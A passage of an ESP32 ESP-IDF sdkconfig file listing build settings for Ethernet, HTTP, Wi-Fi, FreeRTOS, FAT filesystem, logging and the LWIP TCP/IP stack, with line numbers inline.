ESP-related 677 | 678 | # 679 | # Ethernet 680 | # 681 | CONFIG_ETH_ENABLED=y 682 | CONFIG_ETH_USE_ESP32_EMAC=y 683 | CONFIG_ETH_PHY_INTERFACE_RMII=y 684 | CONFIG_ETH_RMII_CLK_INPUT=y 685 | # CONFIG_ETH_RMII_CLK_OUTPUT is not set 686 | CONFIG_ETH_RMII_CLK_IN_GPIO=0 687 | CONFIG_ETH_DMA_BUFFER_SIZE=512 688 | CONFIG_ETH_DMA_RX_BUFFER_NUM=10 689 | CONFIG_ETH_DMA_TX_BUFFER_NUM=10 690 | # CONFIG_ETH_IRAM_OPTIMIZATION is not set 691 | CONFIG_ETH_USE_SPI_ETHERNET=y 692 | # CONFIG_ETH_SPI_ETHERNET_DM9051 is not set 693 | # CONFIG_ETH_SPI_ETHERNET_W5500 is not set 694 | # CONFIG_ETH_SPI_ETHERNET_KSZ8851SNL is not set 695 | # CONFIG_ETH_USE_OPENETH is not set 696 | # CONFIG_ETH_TRANSMIT_MUTEX is not set 697 | # end of Ethernet 698 | 699 | # 700 | # Event Loop Library 701 | # 702 | # CONFIG_ESP_EVENT_LOOP_PROFILING is not set 703 | CONFIG_ESP_EVENT_POST_FROM_ISR=y 704 | CONFIG_ESP_EVENT_POST_FROM_IRAM_ISR=y 705 | # end of Event Loop Library 706 | 707 | # 708 | # GDB Stub 709 | # 710 | # CONFIG_ESP_SYSTEM_GDBSTUB_RUNTIME is not set 711 | # end of GDB Stub 712 | 713 | # 714 | # ESP HTTP client 715 | # 716 | CONFIG_ESP_HTTP_CLIENT_ENABLE_HTTPS=y 717 | # CONFIG_ESP_HTTP_CLIENT_ENABLE_BASIC_AUTH is not set 718 | # CONFIG_ESP_HTTP_CLIENT_ENABLE_DIGEST_AUTH is not set 719 | # end of ESP HTTP client 720 | 721 | # 722 | # HTTP Server 723 | # 724 | CONFIG_HTTPD_MAX_REQ_HDR_LEN=512 725 | CONFIG_HTTPD_MAX_URI_LEN=512 726 | CONFIG_HTTPD_ERR_RESP_NO_DELAY=y 727 | CONFIG_HTTPD_PURGE_BUF_LEN=32 728 | # CONFIG_HTTPD_LOG_PURGE_DATA is not set 729 | # CONFIG_HTTPD_WS_SUPPORT is not set 730 | # CONFIG_HTTPD_QUEUE_WORK_BLOCKING is not set 731 | # end of HTTP Server 732 | 733 | # 734 | # ESP HTTPS OTA 735 | # 736 | # CONFIG_ESP_HTTPS_OTA_DECRYPT_CB is not set 737 | # CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP is not set 738 | # end of ESP HTTPS OTA 739 | 740 | # 741 | # ESP HTTPS server 742 | # 743 | # CONFIG_ESP_HTTPS_SERVER_ENABLE is not set 744 | # end of ESP HTTPS server 745 | 746 | # 747 | # Hardware Settings 748 | # 749 | 750 | # 751 | # Chip revision 752 | # 753 | CONFIG_ESP32_REV_MIN_0=y 754 | # CONFIG_ESP32_REV_MIN_1 is not set 755 | # CONFIG_ESP32_REV_MIN_1_1 is not set 756 | # CONFIG_ESP32_REV_MIN_2 is not set 757 | # CONFIG_ESP32_REV_MIN_3 is not set 758 | # CONFIG_ESP32_REV_MIN_3_1 is not set 759 | CONFIG_ESP32_REV_MIN=0 760 | CONFIG_ESP32_REV_MIN_FULL=0 761 | CONFIG_ESP_REV_MIN_FULL=0 762 | 763 | # 764 | # Maximum Supported ESP32 Revision (Rev v3.99) 765 | # 766 | CONFIG_ESP32_REV_MAX_FULL=399 767 | CONFIG_ESP_REV_MAX_FULL=399 768 | # end of Chip revision 769 | 770 | # 771 | # MAC Config 772 | # 773 | CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_STA=y 774 | CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_AP=y 775 | CONFIG_ESP_MAC_ADDR_UNIVERSE_BT=y 776 | CONFIG_ESP_MAC_ADDR_UNIVERSE_ETH=y 777 | CONFIG_ESP_MAC_UNIVERSAL_MAC_ADDRESSES_FOUR=y 778 | # CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_TWO is not set 779 | CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_FOUR=y 780 | CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES=4 781 | # CONFIG_ESP_MAC_IGNORE_MAC_CRC_ERROR is not set 782 | # CONFIG_ESP_MAC_USE_CUSTOM_MAC_AS_BASE_MAC is not set 783 | # end of MAC Config 784 | 785 | # 786 | # Sleep Config 787 | # 788 | # CONFIG_ESP_SLEEP_POWER_DOWN_FLASH is not set 789 | CONFIG_ESP_SLEEP_FLASH_LEAKAGE_WORKAROUND=y 790 | # CONFIG_ESP_SLEEP_MSPI_NEED_ALL_IO_PU is not set 791 | CONFIG_ESP_SLEEP_RTC_BUS_ISO_WORKAROUND=y 792 | # CONFIG_ESP_SLEEP_GPIO_RESET_WORKAROUND is not set 793 | CONFIG_ESP_SLEEP_WAIT_FLASH_READY_EXTRA_DELAY=2000 794 | # CONFIG_ESP_SLEEP_CACHE_SAFE_ASSERTION is not set 795 | # CONFIG_ESP_SLEEP_DEBUG is not set 796 | CONFIG_ESP_SLEEP_GPIO_ENABLE_INTERNAL_RESISTORS=y 797 | # end of Sleep Config 798 | 799 | # 800 | # RTC Clock Config 801 | # 802 | CONFIG_RTC_CLK_SRC_INT_RC=y 803 | # CONFIG_RTC_CLK_SRC_EXT_CRYS is not set 804 | # CONFIG_RTC_CLK_SRC_EXT_OSC is not set 805 | # CONFIG_RTC_CLK_SRC_INT_8MD256 is not set 806 | CONFIG_RTC_CLK_CAL_CYCLES=1024 807 | # end of RTC Clock Config 808 | 809 | # 810 | # Peripheral Control 811 | # 812 | CONFIG_PERIPH_CTRL_FUNC_IN_IRAM=y 813 | # end of Peripheral Control 814 | 815 | # 816 | # Main XTAL Config 817 | # 818 | # CONFIG_XTAL_FREQ_26 is not set 819 | CONFIG_XTAL_FREQ_40=y 820 | # CONFIG_XTAL_FREQ_AUTO is not set 821 | CONFIG_XTAL_FREQ=40 822 | # end of Main XTAL Config 823 | # end of Hardware Settings 824 | 825 | # 826 | # LCD and Touch Panel 827 | # 828 | 829 | # 830 | # LCD Touch Drivers are maintained in the IDF Component Registry 831 | # 832 | 833 | # 834 | # LCD Peripheral Configuration 835 | # 836 | CONFIG_LCD_PANEL_IO_FORMAT_BUF_SIZE=32 837 | # CONFIG_LCD_ENABLE_DEBUG_LOG is not set 838 | # end of LCD Peripheral Configuration 839 | # end of LCD and Touch Panel 840 | 841 | # 842 | # ESP NETIF Adapter 843 | # 844 | CONFIG_ESP_NETIF_IP_LOST_TIMER_INTERVAL=120 845 | CONFIG_ESP_NETIF_TCPIP_LWIP=y 846 | # CONFIG_ESP_NETIF_LOOPBACK is not set 847 | CONFIG_ESP_NETIF_USES_TCPIP_WITH_BSD_API=y 848 | # CONFIG_ESP_NETIF_RECEIVE_REPORT_ERRORS is not set 849 | # CONFIG_ESP_NETIF_L2_TAP is not set 850 | # CONFIG_ESP_NETIF_BRIDGE_EN is not set 851 | # end of ESP NETIF Adapter 852 | 853 | # 854 | # Partition API Configuration 855 | # 856 | # end of Partition API Configuration 857 | 858 | # 859 | # PHY 860 | # 861 | CONFIG_ESP_PHY_CALIBRATION_AND_DATA_STORAGE=y 862 | # CONFIG_ESP_PHY_INIT_DATA_IN_PARTITION is not set 863 | CONFIG_ESP_PHY_MAX_WIFI_TX_POWER=20 864 | CONFIG_ESP_PHY_MAX_TX_POWER=20 865 | # CONFIG_ESP_PHY_REDUCE_TX_POWER is not set 866 | CONFIG_ESP_PHY_RF_CAL_PARTIAL=y 867 | # CONFIG_ESP_PHY_RF_CAL_NONE is not set 868 | # CONFIG_ESP_PHY_RF_CAL_FULL is not set 869 | CONFIG_ESP_PHY_CALIBRATION_MODE=0 870 | # end of PHY 871 | 872 | # 873 | # Power Management 874 | # 875 | # CONFIG_PM_ENABLE is not set 876 | # end of Power Management 877 | 878 | # 879 | # ESP PSRAM 880 | # 881 | # CONFIG_SPIRAM is not set 882 | # end of ESP PSRAM 883 | 884 | # 885 | # ESP Ringbuf 886 | # 887 | # CONFIG_RINGBUF_PLACE_FUNCTIONS_INTO_FLASH is not set 888 | # end of ESP Ringbuf 889 | 890 | # 891 | # ESP System Settings 892 | # 893 | # CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_80 is not set 894 | CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_160=y 895 | # CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240 is not set 896 | CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ=160 897 | 898 | # 899 | # Memory 900 | # 901 | # CONFIG_ESP32_USE_FIXED_STATIC_RAM_SIZE is not set 902 | 903 | # 904 | # Non-backward compatible options 905 | # 906 | # CONFIG_ESP_SYSTEM_ESP32_SRAM1_REGION_AS_IRAM is not set 907 | # end of Non-backward compatible options 908 | # end of Memory 909 | 910 | # 911 | # Trace memory 912 | # 913 | # CONFIG_ESP32_TRAX is not set 914 | CONFIG_ESP32_TRACEMEM_RESERVE_DRAM=0x0 915 | # end of Trace memory 916 | 917 | # CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT is not set 918 | CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT=y 919 | # CONFIG_ESP_SYSTEM_PANIC_SILENT_REBOOT is not set 920 | # CONFIG_ESP_SYSTEM_PANIC_GDBSTUB is not set 921 | CONFIG_ESP_SYSTEM_PANIC_REBOOT_DELAY_SECONDS=0 922 | 923 | # 924 | # Memory protection 925 | # 926 | # end of Memory protection 927 | 928 | CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE=32 929 | CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=2304 930 | CONFIG_ESP_MAIN_TASK_STACK_SIZE=3584 931 | CONFIG_ESP_MAIN_TASK_AFFINITY_CPU0=y 932 | # CONFIG_ESP_MAIN_TASK_AFFINITY_CPU1 is not set 933 | # CONFIG_ESP_MAIN_TASK_AFFINITY_NO_AFFINITY is not set 934 | CONFIG_ESP_MAIN_TASK_AFFINITY=0x0 935 | CONFIG_ESP_MINIMAL_SHARED_STACK_SIZE=2048 936 | CONFIG_ESP_CONSOLE_UART_DEFAULT=y 937 | # CONFIG_ESP_CONSOLE_UART_CUSTOM is not set 938 | # CONFIG_ESP_CONSOLE_NONE is not set 939 | CONFIG_ESP_CONSOLE_UART=y 940 | CONFIG_ESP_CONSOLE_UART_NUM=0 941 | CONFIG_ESP_CONSOLE_UART_BAUDRATE=115200 942 | CONFIG_ESP_INT_WDT=y 943 | CONFIG_ESP_INT_WDT_TIMEOUT_MS=300 944 | CONFIG_ESP_INT_WDT_CHECK_CPU1=y 945 | CONFIG_ESP_TASK_WDT_EN=y 946 | CONFIG_ESP_TASK_WDT_INIT=y 947 | # CONFIG_ESP_TASK_WDT_PANIC is not set 948 | CONFIG_ESP_TASK_WDT_TIMEOUT_S=5 949 | CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0=y 950 | CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU1=y 951 | # CONFIG_ESP_PANIC_HANDLER_IRAM is not set 952 | # CONFIG_ESP_DEBUG_STUBS_ENABLE is not set 953 | CONFIG_ESP_DEBUG_OCDAWARE=y 954 | CONFIG_ESP_SYSTEM_CHECK_INT_LEVEL_5=y 955 | 956 | # 957 | # Brownout Detector 958 | # 959 | CONFIG_ESP_BROWNOUT_DET=y 960 | CONFIG_ESP_BROWNOUT_DET_LVL_SEL_0=y 961 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_1 is not set 962 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_2 is not set 963 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_3 is not set 964 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_4 is not set 965 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_5 is not set 966 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_6 is not set 967 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_7 is not set 968 | CONFIG_ESP_BROWNOUT_DET_LVL=0 969 | # end of Brownout Detector 970 | 971 | # CONFIG_ESP32_DISABLE_BASIC_ROM_CONSOLE is not set 972 | CONFIG_ESP_SYSTEM_BROWNOUT_INTR=y 973 | # end of ESP System Settings 974 | 975 | # 976 | # IPC (Inter-Processor Call) 977 | # 978 | CONFIG_ESP_IPC_TASK_STACK_SIZE=1024 979 | CONFIG_ESP_IPC_USES_CALLERS_PRIORITY=y 980 | CONFIG_ESP_IPC_ISR_ENABLE=y 981 | # end of IPC (Inter-Processor Call) 982 | 983 | # 984 | # High resolution timer (esp_timer) 985 | # 986 | # CONFIG_ESP_TIMER_PROFILING is not set 987 | CONFIG_ESP_TIME_FUNCS_USE_RTC_TIMER=y 988 | CONFIG_ESP_TIME_FUNCS_USE_ESP_TIMER=y 989 | CONFIG_ESP_TIMER_TASK_STACK_SIZE=3584 990 | CONFIG_ESP_TIMER_INTERRUPT_LEVEL=1 991 | # CONFIG_ESP_TIMER_SHOW_EXPERIMENTAL is not set 992 | CONFIG_ESP_TIMER_TASK_AFFINITY=0x0 993 | CONFIG_ESP_TIMER_TASK_AFFINITY_CPU0=y 994 | CONFIG_ESP_TIMER_ISR_AFFINITY=0x1 995 | CONFIG_ESP_TIMER_ISR_AFFINITY_CPU0=y 996 | # CONFIG_ESP_TIMER_SUPPORTS_ISR_DISPATCH_METHOD is not set 997 | CONFIG_ESP_TIMER_IMPL_TG0_LAC=y 998 | # end of High resolution timer (esp_timer) 999 | 1000 | # 1001 | # Wi-Fi 1002 | # 1003 | CONFIG_ESP_WIFI_ENABLED=y 1004 | CONFIG_ESP_WIFI_STATIC_RX_BUFFER_NUM=10 1005 | CONFIG_ESP_WIFI_DYNAMIC_RX_BUFFER_NUM=32 1006 | # CONFIG_ESP_WIFI_STATIC_TX_BUFFER is not set 1007 | CONFIG_ESP_WIFI_DYNAMIC_TX_BUFFER=y 1008 | CONFIG_ESP_WIFI_TX_BUFFER_TYPE=1 1009 | CONFIG_ESP_WIFI_DYNAMIC_TX_BUFFER_NUM=32 1010 | CONFIG_ESP_WIFI_STATIC_RX_MGMT_BUFFER=y 1011 | # CONFIG_ESP_WIFI_DYNAMIC_RX_MGMT_BUFFER is not set 1012 | CONFIG_ESP_WIFI_DYNAMIC_RX_MGMT_BUF=0 1013 | CONFIG_ESP_WIFI_RX_MGMT_BUF_NUM_DEF=5 1014 | # CONFIG_ESP_WIFI_CSI_ENABLED is not set 1015 | CONFIG_ESP_WIFI_AMPDU_TX_ENABLED=y 1016 | CONFIG_ESP_WIFI_TX_BA_WIN=6 1017 | CONFIG_ESP_WIFI_AMPDU_RX_ENABLED=y 1018 | CONFIG_ESP_WIFI_RX_BA_WIN=6 1019 | CONFIG_ESP_WIFI_NVS_ENABLED=y 1020 | CONFIG_ESP_WIFI_TASK_PINNED_TO_CORE_0=y 1021 | # CONFIG_ESP_WIFI_TASK_PINNED_TO_CORE_1 is not set 1022 | CONFIG_ESP_WIFI_SOFTAP_BEACON_MAX_LEN=752 1023 | CONFIG_ESP_WIFI_MGMT_SBUF_NUM=32 1024 | CONFIG_ESP_WIFI_IRAM_OPT=y 1025 | # CONFIG_ESP_WIFI_EXTRA_IRAM_OPT is not set 1026 | CONFIG_ESP_WIFI_RX_IRAM_OPT=y 1027 | CONFIG_ESP_WIFI_ENABLE_WPA3_SAE=y 1028 | CONFIG_ESP_WIFI_ENABLE_SAE_PK=y 1029 | CONFIG_ESP_WIFI_SOFTAP_SAE_SUPPORT=y 1030 | CONFIG_ESP_WIFI_ENABLE_WPA3_OWE_STA=y 1031 | # CONFIG_ESP_WIFI_SLP_IRAM_OPT is not set 1032 | CONFIG_ESP_WIFI_STA_DISCONNECTED_PM_ENABLE=y 1033 | # CONFIG_ESP_WIFI_GMAC_SUPPORT is not set 1034 | CONFIG_ESP_WIFI_SOFTAP_SUPPORT=y 1035 | # CONFIG_ESP_WIFI_SLP_BEACON_LOST_OPT is not set 1036 | CONFIG_ESP_WIFI_ESPNOW_MAX_ENCRYPT_NUM=7 1037 | # CONFIG_ESP_WIFI_NAN_ENABLE is not set 1038 | CONFIG_ESP_WIFI_MBEDTLS_CRYPTO=y 1039 | CONFIG_ESP_WIFI_MBEDTLS_TLS_CLIENT=y 1040 | # CONFIG_ESP_WIFI_WAPI_PSK is not set 1041 | # CONFIG_ESP_WIFI_11KV_SUPPORT is not set 1042 | # CONFIG_ESP_WIFI_MBO_SUPPORT is not set 1043 | # CONFIG_ESP_WIFI_DPP_SUPPORT is not set 1044 | # CONFIG_ESP_WIFI_11R_SUPPORT is not set 1045 | # CONFIG_ESP_WIFI_WPS_SOFTAP_REGISTRAR is not set 1046 | 1047 | # 1048 | # WPS Configuration Options 1049 | # 1050 | # CONFIG_ESP_WIFI_WPS_STRICT is not set 1051 | # CONFIG_ESP_WIFI_WPS_PASSPHRASE is not set 1052 | # end of WPS Configuration Options 1053 | 1054 | # CONFIG_ESP_WIFI_DEBUG_PRINT is not set 1055 | # CONFIG_ESP_WIFI_TESTING_OPTIONS is not set 1056 | CONFIG_ESP_WIFI_ENTERPRISE_SUPPORT=y 1057 | # CONFIG_ESP_WIFI_ENT_FREE_DYNAMIC_BUFFER is not set 1058 | # end of Wi-Fi 1059 | 1060 | # 1061 | # Core dump 1062 | # 1063 | # CONFIG_ESP_COREDUMP_ENABLE_TO_FLASH is not set 1064 | # CONFIG_ESP_COREDUMP_ENABLE_TO_UART is not set 1065 | CONFIG_ESP_COREDUMP_ENABLE_TO_NONE=y 1066 | # end of Core dump 1067 | 1068 | # 1069 | # FAT Filesystem support 1070 | # 1071 | CONFIG_FATFS_VOLUME_COUNT=2 1072 | CONFIG_FATFS_LFN_NONE=y 1073 | # CONFIG_FATFS_LFN_HEAP is not set 1074 | # CONFIG_FATFS_LFN_STACK is not set 1075 | # CONFIG_FATFS_SECTOR_512 is not set 1076 | CONFIG_FATFS_SECTOR_4096=y 1077 | # CONFIG_FATFS_CODEPAGE_DYNAMIC is not set 1078 | CONFIG_FATFS_CODEPAGE_437=y 1079 | # CONFIG_FATFS_CODEPAGE_720 is not set 1080 | # CONFIG_FATFS_CODEPAGE_737 is not set 1081 | # CONFIG_FATFS_CODEPAGE_771 is not set 1082 | # CONFIG_FATFS_CODEPAGE_775 is not set 1083 | # CONFIG_FATFS_CODEPAGE_850 is not set 1084 | # CONFIG_FATFS_CODEPAGE_852 is not set 1085 | # CONFIG_FATFS_CODEPAGE_855 is not set 1086 | # CONFIG_FATFS_CODEPAGE_857 is not set 1087 | # CONFIG_FATFS_CODEPAGE_860 is not set 1088 | # CONFIG_FATFS_CODEPAGE_861 is not set 1089 | # CONFIG_FATFS_CODEPAGE_862 is not set 1090 | # CONFIG_FATFS_CODEPAGE_863 is not set 1091 | # CONFIG_FATFS_CODEPAGE_864 is not set 1092 | # CONFIG_FATFS_CODEPAGE_865 is not set 1093 | # CONFIG_FATFS_CODEPAGE_866 is not set 1094 | # CONFIG_FATFS_CODEPAGE_869 is not set 1095 | # CONFIG_FATFS_CODEPAGE_932 is not set 1096 | # CONFIG_FATFS_CODEPAGE_936 is not set 1097 | # CONFIG_FATFS_CODEPAGE_949 is not set 1098 | # CONFIG_FATFS_CODEPAGE_950 is not set 1099 | CONFIG_FATFS_CODEPAGE=437 1100 | CONFIG_FATFS_FS_LOCK=0 1101 | CONFIG_FATFS_TIMEOUT_MS=10000 1102 | CONFIG_FATFS_PER_FILE_CACHE=y 1103 | # CONFIG_FATFS_USE_FASTSEEK is not set 1104 | CONFIG_FATFS_VFS_FSTAT_BLKSIZE=0 1105 | # CONFIG_FATFS_IMMEDIATE_FSYNC is not set 1106 | # end of FAT Filesystem support 1107 | 1108 | # 1109 | # FreeRTOS 1110 | # 1111 | 1112 | # 1113 | # Kernel 1114 | # 1115 | # CONFIG_FREERTOS_SMP is not set 1116 | # CONFIG_FREERTOS_UNICORE is not set 1117 | CONFIG_FREERTOS_HZ=100 1118 | # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_NONE is not set 1119 | # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_PTRVAL is not set 1120 | CONFIG_FREERTOS_CHECK_STACKOVERFLOW_CANARY=y 1121 | CONFIG_FREERTOS_THREAD_LOCAL_STORAGE_POINTERS=1 1122 | CONFIG_FREERTOS_IDLE_TASK_STACKSIZE=1536 1123 | # CONFIG_FREERTOS_USE_IDLE_HOOK is not set 1124 | # CONFIG_FREERTOS_USE_TICK_HOOK is not set 1125 | CONFIG_FREERTOS_MAX_TASK_NAME_LEN=16 1126 | # CONFIG_FREERTOS_ENABLE_BACKWARD_COMPATIBILITY is not set 1127 | CONFIG_FREERTOS_TIMER_SERVICE_TASK_NAME="Tmr Svc" 1128 | CONFIG_FREERTOS_TIMER_TASK_PRIORITY=1 1129 | CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH=2048 1130 | CONFIG_FREERTOS_TIMER_QUEUE_LENGTH=10 1131 | CONFIG_FREERTOS_QUEUE_REGISTRY_SIZE=0 1132 | CONFIG_FREERTOS_TASK_NOTIFICATION_ARRAY_ENTRIES=1 1133 | # CONFIG_FREERTOS_USE_TRACE_FACILITY is not set 1134 | # CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS is not set 1135 | # end of Kernel 1136 | 1137 | # 1138 | # Port 1139 | # 1140 | CONFIG_FREERTOS_TASK_FUNCTION_WRAPPER=y 1141 | # CONFIG_FREERTOS_WATCHPOINT_END_OF_STACK is not set 1142 | CONFIG_FREERTOS_TLSP_DELETION_CALLBACKS=y 1143 | # CONFIG_FREERTOS_TASK_PRE_DELETION_HOOK is not set 1144 | # CONFIG_FREERTOS_ENABLE_STATIC_TASK_CLEAN_UP is not set 1145 | CONFIG_FREERTOS_CHECK_MUTEX_GIVEN_BY_OWNER=y 1146 | CONFIG_FREERTOS_ISR_STACKSIZE=1536 1147 | CONFIG_FREERTOS_INTERRUPT_BACKTRACE=y 1148 | # CONFIG_FREERTOS_FPU_IN_ISR is not set 1149 | CONFIG_FREERTOS_TICK_SUPPORT_CORETIMER=y 1150 | CONFIG_FREERTOS_CORETIMER_0=y 1151 | # CONFIG_FREERTOS_CORETIMER_1 is not set 1152 | CONFIG_FREERTOS_SYSTICK_USES_CCOUNT=y 1153 | # CONFIG_FREERTOS_PLACE_FUNCTIONS_INTO_FLASH is not set 1154 | # CONFIG_FREERTOS_CHECK_PORT_CRITICAL_COMPLIANCE is not set 1155 | # end of Port 1156 | 1157 | CONFIG_FREERTOS_PORT=y 1158 | CONFIG_FREERTOS_NO_AFFINITY=0x7FFFFFFF 1159 | CONFIG_FREERTOS_SUPPORT_STATIC_ALLOCATION=y 1160 | CONFIG_FREERTOS_DEBUG_OCDAWARE=y 1161 | CONFIG_FREERTOS_ENABLE_TASK_SNAPSHOT=y 1162 | CONFIG_FREERTOS_PLACE_SNAPSHOT_FUNS_INTO_FLASH=y 1163 | # end of FreeRTOS 1164 | 1165 | # 1166 | # Hardware Abstraction Layer (HAL) and Low Level (LL) 1167 | # 1168 | CONFIG_HAL_ASSERTION_EQUALS_SYSTEM=y 1169 | # CONFIG_HAL_ASSERTION_DISABLE is not set 1170 | # CONFIG_HAL_ASSERTION_SILENT is not set 1171 | # CONFIG_HAL_ASSERTION_ENABLE is not set 1172 | CONFIG_HAL_DEFAULT_ASSERTION_LEVEL=2 1173 | CONFIG_HAL_SPI_MASTER_FUNC_IN_IRAM=y 1174 | CONFIG_HAL_SPI_SLAVE_FUNC_IN_IRAM=y 1175 | # end of Hardware Abstraction Layer (HAL) and Low Level (LL) 1176 | 1177 | # 1178 | # Heap memory debugging 1179 | # 1180 | CONFIG_HEAP_POISONING_DISABLED=y 1181 | # CONFIG_HEAP_POISONING_LIGHT is not set 1182 | # CONFIG_HEAP_POISONING_COMPREHENSIVE is not set 1183 | CONFIG_HEAP_TRACING_OFF=y 1184 | # CONFIG_HEAP_TRACING_STANDALONE is not set 1185 | # CONFIG_HEAP_TRACING_TOHOST is not set 1186 | # CONFIG_HEAP_USE_HOOKS is not set 1187 | # CONFIG_HEAP_TASK_TRACKING is not set 1188 | # CONFIG_HEAP_ABORT_WHEN_ALLOCATION_FAILS is not set 1189 | # CONFIG_HEAP_PLACE_FUNCTION_INTO_FLASH is not set 1190 | # end of Heap memory debugging 1191 | 1192 | # 1193 | # Log output 1194 | # 1195 | # CONFIG_LOG_DEFAULT_LEVEL_NONE is not set 1196 | # CONFIG_LOG_DEFAULT_LEVEL_ERROR is not set 1197 | # CONFIG_LOG_DEFAULT_LEVEL_WARN is not set 1198 | CONFIG_LOG_DEFAULT_LEVEL_INFO=y 1199 | # CONFIG_LOG_DEFAULT_LEVEL_DEBUG is not set 1200 | # CONFIG_LOG_DEFAULT_LEVEL_VERBOSE is not set 1201 | CONFIG_LOG_DEFAULT_LEVEL=3 1202 | CONFIG_LOG_MAXIMUM_EQUALS_DEFAULT=y 1203 | # CONFIG_LOG_MAXIMUM_LEVEL_DEBUG is not set 1204 | # CONFIG_LOG_MAXIMUM_LEVEL_VERBOSE is not set 1205 | CONFIG_LOG_MAXIMUM_LEVEL=3 1206 | # CONFIG_LOG_MASTER_LEVEL is not set 1207 | CONFIG_LOG_COLORS=y 1208 | CONFIG_LOG_TIMESTAMP_SOURCE_RTOS=y 1209 | # CONFIG_LOG_TIMESTAMP_SOURCE_SYSTEM is not set 1210 | # end of Log output 1211 | 1212 | # 1213 | # LWIP 1214 | # 1215 | CONFIG_LWIP_ENABLE=y 1216 | CONFIG_LWIP_LOCAL_HOSTNAME="espressif" 1217 | # CONFIG_LWIP_NETIF_API is not set 1218 | CONFIG_LWIP_TCPIP_TASK_PRIO=18 1219 | # CONFIG_LWIP_TCPIP_CORE_LOCKING is not set 1220 | # CONFIG_LWIP_CHECK_THREAD_SAFETY is not set 1221 | CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y 1222 | # CONFIG_LWIP_L2_TO_L3_COPY is not set 1223 | # CONFIG_LWIP_IRAM_OPTIMIZATION is not set 1224 | # CONFIG_LWIP_EXTRA_IRAM_OPTIMIZATION is not set 1225 | CONFIG_LWIP_TIMERS_ONDEMAND=y 1226 | CONFIG_LWIP_ND6=y 1227 | # CONFIG_LWIP_FORCE_ROUTER_FORWARDING is not set 1228 | CONFIG_LWIP_MAX_SOCKETS=10 1229 | # CONFIG_LWIP_USE_ONLY_LWIP_SELECT is not set 1230 | # CONFIG_LWIP_SO_LINGER is not set 1231 | CONFIG_LWIP_SO_REUSE=y 1232 | CONFIG_LWIP_SO_REUSE_RXTOALL=y 1233 | # CONFIG_LWIP_SO_RCVBUF is not set 1234 | # CONFIG_LWIP_NETBUF_RECVINFO is not set 1235 | CONFIG_LWIP_IP_DEFAULT_TTL=64 1236 | CONFIG_LWIP_IP4_FRAG=y 1237 | CONFIG_LWIP_IP6_FRAG=y 1238 | # CONFIG_LWIP_IP4_REASSEMBLY is not set 1239 | # CONFIG_LWIP_IP6_REASSEMBLY is not set 1240 | CONFIG_LWIP_IP_REASS_MAX_PBUFS=10 1241 | # CONFIG_LWIP_IP_FORWARD is not set 1242 | # CONFIG_LWIP_STATS is not set 1243 | CONFIG_LWIP_ESP_GRATUITOUS_ARP=y 1244 | CONFIG_LWIP_GARP_TMR_INTERVAL=60 1245 | CONFIG_LWIP_ESP_MLDV6_REPORT=y 1246 | CONFIG_LWIP_MLDV6_TMR_INTERVAL=40 1247 | CONFIG_LWIP_TCPIP_RECVMBOX_SIZE=32 1248 | CONFIG_LWIP_DHCP_DOES_ARP_CHECK=y 1249 | # CONFIG_LWIP_DHCP_DISABLE_CLIENT_ID is not set 1250 | CONFIG_LWIP_DHCP_DISABLE_VENDOR_CLASS_ID=y 1251 | # CONFIG_LWIP_DHCP_RESTORE_LAST_IP is not set 1252 | CONFIG_LWIP_DHCP_OPTIONS_LEN=68 1253 | CONFIG_LWIP_NUM_NETIF_CLIENT_DATA=0 1254 | CONFIG_LWIP_DHCP_COARSE_TIMER_SECS=1 1255 | 1256 | # 1257 | # DHCP server 1258 | # 1259 | CONFIG_LWIP_DHCPS=y 1260 | CONFIG_LWIP_DHCPS_LEASE_UNIT=60 1261 | CONFIG_LWIP_DHCPS_MAX_STATION_NUM=8 1262 | CONFIG_LWIP_DHCPS_STATIC_ENTRIES=y 1263 | # end of DHCP server 1264 | 1265 | # CONFIG_LWIP_AUTOIP is not set 1266 | CONFIG_LWIP_IPV4=y 1267 | CONFIG_LWIP_IPV6=y 1268 | # CONFIG_LWIP_IPV6_AUTOCONFIG is not set 1269 | CONFIG_LWIP_IPV6_NUM_ADDRESSES=3 1270 | # CONFIG_LWIP_IPV6_FORWARD is not set 1271 | # CONFIG_LWIP_NETIF_STATUS_CALLBACK is not set 1272 | CONFIG_LWIP_NETIF_LOOPBACK=y 1273 | CONFIG_LWIP_LOOPBACK_MAX_PBUFS=8 1274 | 1275 | # 1276 | # TCP 1277 | # 1278 | CONFIG_LWIP_MAX_ACTIVE_TCP=16 1279 | CONFIG_LWIP_MAX_LISTENING_TCP=16 1280 | CONFIG_LWIP_TCP_HIGH_SPEED_RETRANSMISSION=y 1281 | CONFIG_LWIP_TCP_MAXRTX=12 1282 | CONFIG_LWIP_TCP_SYNMAXRTX=12 1283 | CONFIG_LWIP_TCP_MSS=1440 1284 | CONFIG_LWIP_TCP_TMR_INTERVAL=250 1285 | CONFIG_LWIP_TCP_MSL=60000 1286 | CONFIG_LWIP_TCP_FIN_WAIT_TIMEOUT=20000 1287 | CONFIG_LWIP_TCP_SND_BUF_DEFAULT=5760 1288 | CONFIG_LWIP_TCP_WND_DEFAULT=5760 1289 | 